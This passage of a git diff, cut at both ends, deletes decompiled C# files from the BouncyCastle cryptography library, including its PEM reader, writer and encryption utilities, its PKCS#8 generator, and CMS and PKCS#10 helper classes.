(Platform.StartsWith(text2, "AES-") ? 16 : 8); - byte[] array2 = new byte[num]; - random.NextBytes(array2); - byte[] content = PemUtilities.Crypt(encrypt: true, array, password, text2, array2); - IList list = Platform.CreateArrayList(2); - list.Add(new PemHeader("Proc-Type", "4,ENCRYPTED")); - list.Add(new PemHeader("DEK-Info", text2 + "," + Hex.ToHexString(array2))); - return new PemObject(text, list, content); - } - - private static byte[] EncodePrivateKey(AsymmetricKeyParameter akp, out string keyType) - { - PrivateKeyInfo privateKeyInfo = PrivateKeyInfoFactory.CreatePrivateKeyInfo(akp); - AlgorithmIdentifier privateKeyAlgorithm = privateKeyInfo.PrivateKeyAlgorithm; - DerObjectIdentifier derObjectIdentifier = privateKeyAlgorithm.Algorithm; - if (derObjectIdentifier.Equals(X9ObjectIdentifiers.IdDsa)) - { - keyType = "DSA"; - DsaParameter instance = DsaParameter.GetInstance(privateKeyAlgorithm.Parameters); - BigInteger x = ((DsaPrivateKeyParameters)akp).X; - BigInteger value = instance.G.ModPow(x, instance.P); - return new DerSequence(new DerInteger(0), new DerInteger(instance.P), new DerInteger(instance.Q), new DerInteger(instance.G), new DerInteger(value), new DerInteger(x)).GetEncoded(); - } - if (derObjectIdentifier.Equals(PkcsObjectIdentifiers.RsaEncryption)) - { - keyType = "RSA"; - } - else - { - if (!derObjectIdentifier.Equals(CryptoProObjectIdentifiers.GostR3410x2001) && !derObjectIdentifier.Equals(X9ObjectIdentifiers.IdECPublicKey)) - { - throw new ArgumentException("Cannot handle private key of type: " + Platform.GetTypeName(akp), "akp"); - } - keyType = "EC"; - } - return privateKeyInfo.ParsePrivateKey().GetEncoded(); - } - - public PemObject Generate() - { - try - { - if (algorithm != null) - { - return CreatePemObject(obj, algorithm, password, random); - } - return CreatePemObject(obj); - } - catch (IOException exception) - { - throw new PemGenerationException("encoding exception", exception); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemException.cs deleted file mode 100644 index 2efd737..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemException.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.OpenSsl; - -[Serializable] -public class PemException : IOException -{ - public PemException(string message) - : base(message) - { - } - - public PemException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemReader.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemReader.cs deleted file mode 100644 index 62cdc0a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemReader.cs +++ /dev/null @@ -1,259 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Sec; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.EC; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Pkcs; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; -using Org.BouncyCastle.Utilities.IO.Pem; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.OpenSsl; - -public class PemReader : Org.BouncyCastle.Utilities.IO.Pem.PemReader -{ - private readonly IPasswordFinder pFinder; - - static PemReader() - { - } - - public PemReader(TextReader reader) - : this(reader, null) - { - } - - public PemReader(TextReader reader, IPasswordFinder pFinder) - : base(reader) - { - this.pFinder = pFinder; - } - - public object ReadObject() - { - PemObject pemObject = ReadPemObject(); - if (pemObject == null) - { - return null; - } - if (Platform.EndsWith(pemObject.Type, "PRIVATE KEY")) - { - return ReadPrivateKey(pemObject); - } - switch (pemObject.Type) - { - case "PUBLIC KEY": - return ReadPublicKey(pemObject); - case "RSA PUBLIC KEY": - return ReadRsaPublicKey(pemObject); - case "CERTIFICATE REQUEST": - case "NEW CERTIFICATE REQUEST": - return ReadCertificateRequest(pemObject); - case "CERTIFICATE": - case "X509 CERTIFICATE": - return ReadCertificate(pemObject); - case "PKCS7": - case "CMS": - return ReadPkcs7(pemObject); - case "X509 CRL": - return ReadCrl(pemObject); - case "ATTRIBUTE CERTIFICATE": - return ReadAttributeCertificate(pemObject); - default: - throw new IOException("unrecognised object: " + pemObject.Type); - } - } - - private AsymmetricKeyParameter ReadRsaPublicKey(PemObject pemObject) - { - RsaPublicKeyStructure instance = RsaPublicKeyStructure.GetInstance(Asn1Object.FromByteArray(pemObject.Content)); - return new RsaKeyParameters(isPrivate: false, instance.Modulus, instance.PublicExponent); - } - - private AsymmetricKeyParameter ReadPublicKey(PemObject pemObject) - { - return PublicKeyFactory.CreateKey(pemObject.Content); - } - - private X509Certificate ReadCertificate(PemObject pemObject) - { - try - { - return new X509CertificateParser().ReadCertificate(pemObject.Content); - } - catch (Exception ex) - { - throw new PemException("problem parsing cert: " + ex.ToString()); - } - } - - private X509Crl ReadCrl(PemObject pemObject) - { - try - { - return new X509CrlParser().ReadCrl(pemObject.Content); - } - catch (Exception ex) - { - throw new PemException("problem parsing cert: " + ex.ToString()); - } - } - - private Pkcs10CertificationRequest ReadCertificateRequest(PemObject pemObject) - { - try - { - return new Pkcs10CertificationRequest(pemObject.Content); - } - catch (Exception ex) - { - throw new PemException("problem parsing cert: " + ex.ToString()); - } - } - - private IX509AttributeCertificate ReadAttributeCertificate(PemObject pemObject) - { - return new X509V2AttributeCertificate(pemObject.Content); - } - - private Org.BouncyCastle.Asn1.Cms.ContentInfo ReadPkcs7(PemObject pemObject) - { - try - { - return Org.BouncyCastle.Asn1.Cms.ContentInfo.GetInstance(Asn1Object.FromByteArray(pemObject.Content)); - } - catch (Exception ex) - { - throw new PemException("problem parsing PKCS7 object: " + ex.ToString()); - } - } - - private object ReadPrivateKey(PemObject pemObject) - { - string text = pemObject.Type.Substring(0, pemObject.Type.Length - "PRIVATE KEY".Length).Trim(); - byte[] array = pemObject.Content; - IDictionary dictionary = Platform.CreateHashtable(); - foreach (PemHeader header in pemObject.Headers) - { - dictionary[header.Name] = header.Value; - } - string text2 = (string)dictionary["Proc-Type"]; - if (text2 == "4,ENCRYPTED") - { - if (pFinder == null) - { - throw new PasswordException("No password finder specified, but a password is required"); - } - char[] password = pFinder.GetPassword(); - if (password == null) - { - throw new PasswordException("Password is null, but a password is required"); - } - string text3 = (string)dictionary["DEK-Info"]; - string[] array2 = text3.Split(new char[1] { ',' }); - string dekAlgName = array2[0].Trim(); - byte[] iv = Hex.Decode(array2[1].Trim()); - array = PemUtilities.Crypt(encrypt: false, array, password, dekAlgName, iv); - } - try - { - Asn1Sequence instance = Asn1Sequence.GetInstance(array); - AsymmetricKeyParameter publicParameter; - AsymmetricKeyParameter asymmetricKeyParameter; - switch (text) - { - case "RSA": - { - if (instance.Count != 9) - { - throw new PemException("malformed sequence in RSA private key"); - } - RsaPrivateKeyStructure instance2 = RsaPrivateKeyStructure.GetInstance(instance); - publicParameter = new RsaKeyParameters(isPrivate: false, instance2.Modulus, instance2.PublicExponent); - asymmetricKeyParameter = new RsaPrivateCrtKeyParameters(instance2.Modulus, instance2.PublicExponent, instance2.PrivateExponent, instance2.Prime1, instance2.Prime2, instance2.Exponent1, instance2.Exponent2, instance2.Coefficient); - break; - } - case "DSA": - { - if (instance.Count != 6) - { - throw new PemException("malformed sequence in DSA private key"); - } - DerInteger derInteger = (DerInteger)instance[1]; - DerInteger derInteger2 = (DerInteger)instance[2]; - DerInteger derInteger3 = (DerInteger)instance[3]; - DerInteger derInteger4 = (DerInteger)instance[4]; - DerInteger derInteger5 = (DerInteger)instance[5]; - DsaParameters parameters = new DsaParameters(derInteger.Value, derInteger2.Value, derInteger3.Value); - asymmetricKeyParameter = new DsaPrivateKeyParameters(derInteger5.Value, parameters); - publicParameter = new DsaPublicKeyParameters(derInteger4.Value, parameters); - break; - } - case "EC": - { - ECPrivateKeyStructure instance3 = ECPrivateKeyStructure.GetInstance(instance); - AlgorithmIdentifier algorithmIdentifier = new AlgorithmIdentifier(X9ObjectIdentifiers.IdECPublicKey, instance3.GetParameters()); - PrivateKeyInfo keyInfo = new PrivateKeyInfo(algorithmIdentifier, instance3.ToAsn1Object()); - asymmetricKeyParameter = PrivateKeyFactory.CreateKey(keyInfo); - DerBitString publicKey = instance3.GetPublicKey(); - if (publicKey != null) - { - SubjectPublicKeyInfo keyInfo2 = new SubjectPublicKeyInfo(algorithmIdentifier, publicKey.GetBytes()); - publicParameter = PublicKeyFactory.CreateKey(keyInfo2); - } - else - { - publicParameter = ECKeyPairGenerator.GetCorrespondingPublicKey((ECPrivateKeyParameters)asymmetricKeyParameter); - } - break; - } - case "ENCRYPTED": - { - char[] password2 = pFinder.GetPassword(); - if (password2 == null) - { - throw new PasswordException("Password is null, but a password is required"); - } - return PrivateKeyFactory.DecryptKey(password2, EncryptedPrivateKeyInfo.GetInstance(instance)); - } - case "": - return PrivateKeyFactory.CreateKey(PrivateKeyInfo.GetInstance(instance)); - default: - throw new ArgumentException("Unknown key type: " + text, "type"); - } - return new AsymmetricCipherKeyPair(publicParameter, asymmetricKeyParameter); - } - catch (IOException ex) - { - throw ex; - } - catch (Exception ex2) - { - throw new PemException("problem creating " + text + " private key: " + ex2.ToString()); - } - } - - private static X9ECParameters GetCurveParameters(string name) - { - X9ECParameters byName = CustomNamedCurves.GetByName(name); - if (byName == null) - { - byName = ECNamedCurveTable.GetByName(name); - } - if (byName == null) - { - throw new Exception("unknown curve name: " + name); - } - return byName; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemUtilities.cs deleted file mode 100644 index f5a29b9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemUtilities.cs +++ /dev/null @@ -1,177 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.OpenSsl; - -internal sealed class PemUtilities -{ - private enum PemBaseAlg - { - AES_128, - AES_192, - AES_256, - BF, - DES, - DES_EDE, - DES_EDE3, - RC2, - RC2_40, - RC2_64 - } - - private enum PemMode - { - CBC, - CFB, - ECB, - OFB - } - - static PemUtilities() - { - ((PemBaseAlg)Enums.GetArbitraryValue(typeof(PemBaseAlg))).ToString(); - ((PemMode)Enums.GetArbitraryValue(typeof(PemMode))).ToString(); - } - - private static void ParseDekAlgName(string dekAlgName, out PemBaseAlg baseAlg, out PemMode mode) - { - try - { - mode = PemMode.ECB; - if (dekAlgName == "DES-EDE" || dekAlgName == "DES-EDE3") - { - baseAlg = (PemBaseAlg)Enums.GetEnumValue(typeof(PemBaseAlg), dekAlgName); - return; - } - int num = dekAlgName.LastIndexOf('-'); - if (num >= 0) - { - baseAlg = (PemBaseAlg)Enums.GetEnumValue(typeof(PemBaseAlg), dekAlgName.Substring(0, num)); - mode = (PemMode)Enums.GetEnumValue(typeof(PemMode), dekAlgName.Substring(num + 1)); - return; - } - } - catch (ArgumentException) - { - } - throw new EncryptionException("Unknown DEK algorithm: " + dekAlgName); - } - - internal static byte[] Crypt(bool encrypt, byte[] bytes, char[] password, string dekAlgName, byte[] iv) - { - ParseDekAlgName(dekAlgName, out var baseAlg, out var mode); - string text; - switch (mode) - { - case PemMode.CBC: - case PemMode.ECB: - text = "PKCS5Padding"; - break; - case PemMode.CFB: - case PemMode.OFB: - text = "NoPadding"; - break; - default: - throw new EncryptionException("Unknown DEK algorithm: " + dekAlgName); - } - byte[] array = iv; - string text2; - switch (baseAlg) - { - case PemBaseAlg.AES_128: - case PemBaseAlg.AES_192: - case PemBaseAlg.AES_256: - text2 = "AES"; - if (array.Length > 8) - { - array = new byte[8]; - Array.Copy(iv, 0, array, 0, array.Length); - } - break; - case PemBaseAlg.BF: - text2 = "BLOWFISH"; - break; - case PemBaseAlg.DES: - text2 = "DES"; - break; - case PemBaseAlg.DES_EDE: - case PemBaseAlg.DES_EDE3: - text2 = "DESede"; - break; - case PemBaseAlg.RC2: - case PemBaseAlg.RC2_40: - case PemBaseAlg.RC2_64: - text2 = "RC2"; - break; - default: - throw new EncryptionException("Unknown DEK algorithm: " + dekAlgName); - } - string algorithm = string.Concat(text2, "/", mode, "/", text); - IBufferedCipher cipher = CipherUtilities.GetCipher(algorithm); - ICipherParameters parameters = GetCipherParameters(password, baseAlg, array); - if (mode != PemMode.ECB) - { - parameters = new ParametersWithIV(parameters, iv); - } - cipher.Init(encrypt, parameters); - return cipher.DoFinal(bytes); - } - - private static ICipherParameters GetCipherParameters(char[] password, PemBaseAlg baseAlg, byte[] salt) - { - int keySize; - string algorithm; - switch (baseAlg) - { - case PemBaseAlg.AES_128: - keySize = 128; - algorithm = "AES128"; - break; - case PemBaseAlg.AES_192: - keySize = 192; - algorithm = "AES192"; - break; - case PemBaseAlg.AES_256: - keySize = 256; - algorithm = "AES256"; - break; - case PemBaseAlg.BF: - keySize = 128; - algorithm = "BLOWFISH"; - break; - case PemBaseAlg.DES: - keySize = 64; - algorithm = "DES"; - break; - case PemBaseAlg.DES_EDE: - keySize = 128; - algorithm = "DESEDE"; - break; - case PemBaseAlg.DES_EDE3: - keySize = 192; - algorithm = "DESEDE3"; - break; - case PemBaseAlg.RC2: - keySize = 128; - algorithm = "RC2"; - break; - case PemBaseAlg.RC2_40: - keySize = 40; - algorithm = "RC2"; - break; - case PemBaseAlg.RC2_64: - keySize = 64; - algorithm = "RC2"; - break; - default: - return null; - } - OpenSslPbeParametersGenerator openSslPbeParametersGenerator = new OpenSslPbeParametersGenerator(); - openSslPbeParametersGenerator.Init(PbeParametersGenerator.Pkcs5PasswordToBytes(password), salt); - return openSslPbeParametersGenerator.GenerateDerivedParameters(algorithm, keySize); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemWriter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemWriter.cs deleted file mode 100644 index 8f3e08b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/PemWriter.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.IO.Pem; - -namespace Org.BouncyCastle.OpenSsl; - -public class PemWriter : Org.BouncyCastle.Utilities.IO.Pem.PemWriter -{ - public PemWriter(TextWriter writer) - : base(writer) - { - } - - public void WriteObject(object obj) - { - try - { - base.WriteObject((PemObjectGenerator)new MiscPemGenerator(obj)); - } - catch (PemGenerationException ex) - { - if (ex.InnerException is IOException) - { - throw (IOException)ex.InnerException; - } - throw ex; - } - } - - public void WriteObject(object obj, string algorithm, char[] password, SecureRandom random) - { - base.WriteObject((PemObjectGenerator)new MiscPemGenerator(obj, algorithm, password, random)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/Pkcs8Generator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/Pkcs8Generator.cs deleted file mode 100644 index c47267a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/Pkcs8Generator.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Pkcs; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.IO.Pem; - -namespace Org.BouncyCastle.OpenSsl; - -public class Pkcs8Generator : PemObjectGenerator -{ - public static readonly string PbeSha1_RC4_128 = PkcsObjectIdentifiers.PbeWithShaAnd128BitRC4.Id; - - public static readonly string PbeSha1_RC4_40 = PkcsObjectIdentifiers.PbeWithShaAnd40BitRC4.Id; - - public static readonly string PbeSha1_3DES = PkcsObjectIdentifiers.PbeWithShaAnd3KeyTripleDesCbc.Id; - - public static readonly string PbeSha1_2DES = PkcsObjectIdentifiers.PbeWithShaAnd2KeyTripleDesCbc.Id; - - public static readonly string PbeSha1_RC2_128 = PkcsObjectIdentifiers.PbeWithShaAnd128BitRC2Cbc.Id; - - public static readonly string PbeSha1_RC2_40 = PkcsObjectIdentifiers.PbewithShaAnd40BitRC2Cbc.Id; - - private char[] password; - - private string algorithm; - - private int iterationCount; - - private AsymmetricKeyParameter privKey; - - private SecureRandom random; - - public SecureRandom SecureRandom - { - set - { - random = value; - } - } - - public char[] Password - { - set - { - password = value; - } - } - - public int IterationCount - { - set - { - iterationCount = value; - } - } - - public Pkcs8Generator(AsymmetricKeyParameter privKey) - { - this.privKey = privKey; - } - - public Pkcs8Generator(AsymmetricKeyParameter privKey, string algorithm) - { - this.privKey = privKey; - this.algorithm = algorithm; - iterationCount = 2048; - } - - public PemObject Generate() - { - if (algorithm == null) - { - PrivateKeyInfo privateKeyInfo = PrivateKeyInfoFactory.CreatePrivateKeyInfo(privKey); - return new PemObject("PRIVATE KEY", privateKeyInfo.GetEncoded()); - } - byte[] array = new byte[20]; - if (random == null) - { - random = new SecureRandom(); - } - random.NextBytes(array); - try - { - EncryptedPrivateKeyInfo encryptedPrivateKeyInfo = EncryptedPrivateKeyInfoFactory.CreateEncryptedPrivateKeyInfo(algorithm, password, array, iterationCount, privKey); - return new PemObject("ENCRYPTED PRIVATE KEY", encryptedPrivateKeyInfo.GetEncoded()); - } - catch (Exception exception) - { - throw new PemGenerationException("Couldn't encrypt private key", exception); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Operators/CmsContentEncryptorBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Operators/CmsContentEncryptorBuilder.cs deleted file mode 100644 index 93af963..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Operators/CmsContentEncryptorBuilder.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Cms; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Operators; - -public class CmsContentEncryptorBuilder -{ - private static readonly IDictionary KeySizes; - - private readonly DerObjectIdentifier encryptionOID; - - private readonly int keySize; - - private readonly EnvelopedDataHelper helper = new EnvelopedDataHelper(); - - static CmsContentEncryptorBuilder() - { - KeySizes = Platform.CreateHashtable(); - KeySizes[NistObjectIdentifiers.IdAes128Cbc] = 128; - KeySizes[NistObjectIdentifiers.IdAes192Cbc] = 192; - KeySizes[NistObjectIdentifiers.IdAes256Cbc] = 256; - KeySizes[NttObjectIdentifiers.IdCamellia128Cbc] = 128; - KeySizes[NttObjectIdentifiers.IdCamellia192Cbc] = 192; - KeySizes[NttObjectIdentifiers.IdCamellia256Cbc] = 256; - } - - private static int GetKeySize(DerObjectIdentifier oid) - { - if (KeySizes.Contains(oid)) - { - return (int)KeySizes[oid]; - } - return -1; - } - - public CmsContentEncryptorBuilder(DerObjectIdentifier encryptionOID) - : this(encryptionOID, GetKeySize(encryptionOID)) - { - } - - public CmsContentEncryptorBuilder(DerObjectIdentifier encryptionOID, int keySize) - { - this.encryptionOID = encryptionOID; - this.keySize = keySize; - } - - public ICipherBuilderWithKey Build() - { - return new Asn1CipherBuilderWithKey(encryptionOID, keySize, null); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Operators/CmsKeyTransRecipientInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Operators/CmsKeyTransRecipientInfoGenerator.cs deleted file mode 100644 index 1ea8a26..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Operators/CmsKeyTransRecipientInfoGenerator.cs +++ /dev/null @@ -1,35 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Cms; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Operators; - -public class CmsKeyTransRecipientInfoGenerator : KeyTransRecipientInfoGenerator -{ - private readonly IKeyWrapper keyWrapper; - - protected override AlgorithmIdentifier AlgorithmDetails => (AlgorithmIdentifier)keyWrapper.AlgorithmDetails; - - public CmsKeyTransRecipientInfoGenerator(X509Certificate recipCert, IKeyWrapper keyWrapper) - : base(new IssuerAndSerialNumber(recipCert.IssuerDN, new DerInteger(recipCert.SerialNumber))) - { - this.keyWrapper = keyWrapper; - base.RecipientCert = recipCert; - base.RecipientPublicKey = recipCert.GetPublicKey(); - } - - public CmsKeyTransRecipientInfoGenerator(byte[] subjectKeyID, IKeyWrapper keyWrapper) - : base(subjectKeyID) - { - this.keyWrapper = keyWrapper; - } - - protected override byte[] GenerateWrappedKey(KeyParameter contentKey) - { - return keyWrapper.Wrap(contentKey.GetKey()).Collect(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/AsymmetricKeyEntry.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/AsymmetricKeyEntry.cs deleted file mode 100644 index 5dc62f7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/AsymmetricKeyEntry.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Pkcs; - -public class AsymmetricKeyEntry : Pkcs12Entry -{ - private readonly AsymmetricKeyParameter key; - - public AsymmetricKeyParameter Key => key; - - public AsymmetricKeyEntry(AsymmetricKeyParameter key) - : base(Platform.CreateHashtable()) - { - this.key = key; - } - - [Obsolete] - public AsymmetricKeyEntry(AsymmetricKeyParameter key, Hashtable attributes) - : base(attributes) - { - this.key = key; - } - - public AsymmetricKeyEntry(AsymmetricKeyParameter key, IDictionary attributes) - : base(attributes) - { - this.key = key; - } - - public override bool Equals(object obj) - { - if (!(obj is AsymmetricKeyEntry asymmetricKeyEntry)) - { - return false; - } - return key.Equals(asymmetricKeyEntry.key); - } - - public override int GetHashCode() - { - return ~key.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/EncryptedPrivateKeyInfoFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/EncryptedPrivateKeyInfoFactory.cs deleted file mode 100644 index 82a472b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/EncryptedPrivateKeyInfoFactory.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Pkcs; - -public sealed class EncryptedPrivateKeyInfoFactory -{ - private EncryptedPrivateKeyInfoFactory() - { - } - - public static EncryptedPrivateKeyInfo CreateEncryptedPrivateKeyInfo(DerObjectIdentifier algorithm, char[] passPhrase, byte[] salt, int iterationCount, AsymmetricKeyParameter key) - { - return CreateEncryptedPrivateKeyInfo(algorithm.Id, passPhrase, salt, iterationCount, PrivateKeyInfoFactory.CreatePrivateKeyInfo(key)); - } - - public static EncryptedPrivateKeyInfo CreateEncryptedPrivateKeyInfo(string algorithm, char[] passPhrase, byte[] salt, int iterationCount, AsymmetricKeyParameter key) - { - return CreateEncryptedPrivateKeyInfo(algorithm, passPhrase, salt, iterationCount, PrivateKeyInfoFactory.CreatePrivateKeyInfo(key)); - } - - public static EncryptedPrivateKeyInfo CreateEncryptedPrivateKeyInfo(string algorithm, char[] passPhrase, byte[] salt, int iterationCount, PrivateKeyInfo keyInfo) - { - if (!(PbeUtilities.CreateEngine(algorithm) is IBufferedCipher bufferedCipher)) - { - throw new Exception("Unknown encryption algorithm: " + algorithm); - } - Asn1Encodable asn1Encodable = PbeUtilities.GenerateAlgorithmParameters(algorithm, salt, iterationCount); - ICipherParameters parameters = PbeUtilities.GenerateCipherParameters(algorithm, passPhrase, asn1Encodable); - bufferedCipher.Init(forEncryption: true, parameters); - byte[] encoding = bufferedCipher.DoFinal(keyInfo.GetEncoded()); - DerObjectIdentifier objectIdentifier = PbeUtilities.GetObjectIdentifier(algorithm); - AlgorithmIdentifier algId = new AlgorithmIdentifier(objectIdentifier, asn1Encodable); - return new EncryptedPrivateKeyInfo(algId, encoding); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs10CertificationRequest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs10CertificationRequest.cs deleted file mode 100644 index 57920fc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs10CertificationRequest.cs +++ /dev/null @@ -1,295 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Pkcs; - -public class Pkcs10CertificationRequest : CertificationRequest -{ - protected static readonly IDictionary algorithms; - - protected static readonly IDictionary exParams; - - protected static readonly IDictionary keyAlgorithms; - - protected static readonly IDictionary oids; - - protected static readonly ISet noParams; - - static Pkcs10CertificationRequest() - { - algorithms = Platform.CreateHashtable(); - exParams = Platform.CreateHashtable(); - keyAlgorithms = Platform.CreateHashtable(); - oids = Platform.CreateHashtable(); - noParams = new HashSet(); - algorithms.Add("MD2WITHRSAENCRYPTION", PkcsObjectIdentifiers.MD2WithRsaEncryption); - algorithms.Add("MD2WITHRSA", PkcsObjectIdentifiers.MD2WithRsaEncryption); - algorithms.Add("MD5WITHRSAENCRYPTION", PkcsObjectIdentifiers.MD5WithRsaEncryption); - algorithms.Add("MD5WITHRSA", PkcsObjectIdentifiers.MD5WithRsaEncryption); - algorithms.Add("RSAWITHMD5", PkcsObjectIdentifiers.MD5WithRsaEncryption); - algorithms.Add("SHA1WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha1WithRsaEncryption); - algorithms.Add("SHA1WITHRSA", PkcsObjectIdentifiers.Sha1WithRsaEncryption); - algorithms.Add("SHA224WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha224WithRsaEncryption); - algorithms.Add("SHA224WITHRSA", PkcsObjectIdentifiers.Sha224WithRsaEncryption); - algorithms.Add("SHA256WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha256WithRsaEncryption); - algorithms.Add("SHA256WITHRSA", PkcsObjectIdentifiers.Sha256WithRsaEncryption); - algorithms.Add("SHA384WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha384WithRsaEncryption); - algorithms.Add("SHA384WITHRSA", PkcsObjectIdentifiers.Sha384WithRsaEncryption); - algorithms.Add("SHA512WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha512WithRsaEncryption); - algorithms.Add("SHA512WITHRSA", PkcsObjectIdentifiers.Sha512WithRsaEncryption); - algorithms.Add("SHA1WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA224WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA256WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA384WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA512WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("RSAWITHSHA1", PkcsObjectIdentifiers.Sha1WithRsaEncryption); - algorithms.Add("RIPEMD128WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128); - algorithms.Add("RIPEMD128WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128); - algorithms.Add("RIPEMD160WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160); - algorithms.Add("RIPEMD160WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160); - algorithms.Add("RIPEMD256WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256); - algorithms.Add("RIPEMD256WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256); - algorithms.Add("SHA1WITHDSA", X9ObjectIdentifiers.IdDsaWithSha1); - algorithms.Add("DSAWITHSHA1", X9ObjectIdentifiers.IdDsaWithSha1); - algorithms.Add("SHA224WITHDSA", 